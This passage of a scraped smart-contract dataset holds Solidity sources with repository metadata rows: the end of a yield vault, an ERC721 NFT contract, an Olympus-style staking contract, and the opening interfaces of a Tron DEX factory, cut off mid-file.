//Worker Incentive Mint, conserves TVL
address worker = ben == address(this) ? treasury : ben;
//allnums[3] === wi, Worker Incentive
balanceOf[worker] += (_mint.mul(allnums[3])).div(1e6);
totalSupply += ((_mint.mul(allnums[2])).div(1e6)).add((_mint.mul(allnums[3])).div(1e6));
emit Transfer(address(0), treasury, (_mint.mul(allnums[2])).div(1e6));
emit Transfer(address(0), worker, (_mint.mul(allnums[3])).div(1e6));
}
function declareEmergency() public DAO
{
require(!emergency,"Emergency already declared.");
mc.emergencyWithdraw(allnums[0]);
emergency=true;
}
function revokeEmergency() public DAO
{
require(emergency,"Emergency not declared.");
uint256 D = want.balanceOf(address(this));
mc.deposit(allnums[0],D);
emergency=false;
}
function emergencyWithdraw(uint256 _amt) public rg
{
require(emergency,"Its not an emergency. Use withdraw() instead.");
require(balanceOf[msg.sender] >= _amt,"Insufficient Balance");
uint256 ts = totalSupply;
//Burn _amt of Vault Tokens
balanceOf[msg.sender] -= _amt;
totalSupply -= _amt;
emit Transfer(msg.sender, address(0), _amt);
uint256 vbb = want.balanceOf(address(this));
uint256 W = (_amt.mul(vbb)).div(ts);
require(want.transfer(msg.sender,W), "Unable to deboard");
}
function rescue(address tokenAddress, uint256 tokens) public DAO returns (bool success)
{
//Generally, there are not supposed to be any tokens in this contract itself:
//Upon Deposits, the assets go from User to the MasterChef of Strategy,
//Upon Withdrawals, the assets go from MasterChef of Strategy to the User, and
//Upon HardWork, the harvest is reconverted to want and sent to MasterChef of Strategy.
//Never allow draining main "want" token from the Granary:
//Main token can only be withdrawn using the EmergencyWithdraw
require(tokenAddress != address(want), "Funds are Safu in emergency!");
if(tokenAddress==address(0)) {(success,) = dao.call{value:tokens}("");return success;}
else if(tokenAddress!=address(0)) {return IERC20(tokenAddress).transfer(dao, tokens);}
else return false;
}
//Read-Only Functions
//Useful for performance analysis
function info() public view returns (uint256, uint256, uint256, IMasterchef.UserInfo memory, IMasterchef.PoolInfo memory, uint256, uint256)
{
uint256 aum = mc.userInfo(allnums[0],address(this)).amount + IERC20(want).balanceOf(address(this));
uint256 roi = aum*1e18/totalSupply;//ROI: 1e18 === 1x
uint256 apy = ((roi-1e18)*(365*86400)*100)/(allnums[6]-allnums[5]);//APY: 1e18 === 1%
return(aum,
roi,
apy,
mc.userInfo(allnums[0],address(this)),
mc.poolInfo(allnums[0]),
mc.totalAllocPoint(),
mc.pendingWEVE(allnums[0],address(this)));
}
//TVL in USD, 1e18===$1.
//Source code Derived from ftm.guru's Universal On-chain TVL Calculator: https://ftm.guru/rawdata/tvl
function tvl() public view returns(uint256)
{
ITVL tc = ITVL(utvl);
uint256 aum = mc.userInfo(allnums[0],address(this)).amount + IERC20(want).balanceOf(address(this));
return ((tc.coinusd()).mul(aum)).div(1e18);
}
}
| 316,421 | 13,640 |
f3e0d873bf9679b5be6aaac9de50cece159cb168aa78ec1c8341ea4e031820ed
| 18,280 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/0a/0a74cE198C1a59fbeC07E07eB056AAfF17a6E854_CheemsXNFT.sol
| 4,478 | 18,078 |
// contracts/NFT.sol
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size; assembly { size := extcodesize(account) } return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) { return returndata; } else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {revert(errorMessage);}
}
}
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {return msg.sender;}
function _msgData() internal view virtual returns (bytes calldata) {this; return msg.data;}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all");
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
library Counters {
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
abstract contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
}
contract CheemsXNFT is ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
mapping(address=>uint256[]) public userInfo;
constructor() ERC721("CheemsXNFT", "CXN") {
}
function mintToken(address recipient, string memory uri) public onlyOwner returns (uint256) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_safeMint(recipient, newItemId);
_setTokenURI(newItemId, uri);
userInfo[recipient].push(newItemId);
return newItemId;
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override {
super.safeTransferFrom(from, to, tokenId);
uint256 len = userInfo[from].length;
for(uint256 i = 0; i < len; i++){
if(userInfo[from][i] == tokenId) {
userInfo[from][i] = userInfo[from][len-1];
userInfo[from].pop();
break;
}
}
userInfo[to].push(tokenId);
}
function getUserInfo (address user) public view returns(uint256[] memory) {
return userInfo[user];
}
}
| 119,369 | 13,641 |
20397a0a38e16e88b12cd19fd951d01b74a4a48e2be8585a6918d9c0c910decc
| 35,318 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/cd/cd9200e75724577200a78f1175804c63e99bcfa2_PepeBankStaking.sol
| 4,429 | 18,102 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
/////////////////////////////////////////////////////////////////////////////////////////////////////
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// //
// //
/////////////////////////////////////////////////////////////////////////////////////////////////////
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using sPEPE via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using sPEPE via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsPepeBank {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
interface ReferralBonus {
function getReferral(address _account) external view returns(address);
function getRefBonus() external view returns(uint256);
}
contract PepeBankStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable PepeBank;
address public immutable sPepeBank;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _PepeBank,
address _sPepeBank,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_PepeBank != address(0));
PepeBank = _PepeBank;
require(_sPepeBank != address(0));
sPepeBank = _sPepeBank;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(PepeBank).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsPepeBank(sPepeBank).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sPepeBank).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsPepeBank(sPepeBank).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsPepeBank(sPepeBank).balanceForGons(info.gons));
IERC20(PepeBank).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sPepeBank).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(PepeBank).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsPepeBank(sPepeBank).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IsPepeBank(sPepeBank).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsPepeBank(sPepeBank).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(PepeBank).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sPepeBank).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sPepeBank).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 74,848 | 13,642 |
285cc3fffed8fecaecf69b89fbf98dad5eb3c69817c439371ac33a932cfb4687
| 14,553 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TJ/TJL9Tj2rf5WPUkaYMzbvWErn6M8wYRiHG7_Factory.sol
| 4,272 | 14,354 |
//SourceUnit: Factory.sol
pragma solidity 0.5.12;
interface ITRC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function approve(address spender, uint256 value) external returns(bool);
function transfer(address to, uint256 value) external returns(bool);
function transferFrom(address from, address to, uint256 value) external returns(bool);
function name() external view returns(string memory);
function symbol() external view returns(string memory);
function decimals() external view returns(uint8);
function totalSupply() external view returns(uint256);
function balanceOf(address owner) external view returns(uint256);
function allowance(address owner, address spender) external view returns(uint256);
}
interface IFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256 index);
function createPair(address tokenA, address tokenB) external returns(address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function feeTo() external view returns(address);
function feeToSetter() external view returns(address);
function pairs(address tokenA, address tokenB) external view returns(address pair);
function getPair(address tokenA, address tokenB) external view returns(address pair);
function allPairs(uint256) external view returns(address pair);
function allPairsLength() external view returns(uint256);
}
interface IPair {
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function mint(address to) external returns(uint256 liquidity);
function burn(address to) external returns(uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
function MINIMUM_LIQUIDITY() external pure returns(uint256);
function factory() external view returns(address);
function token0() external view returns(address);
function token1() external view returns(address);
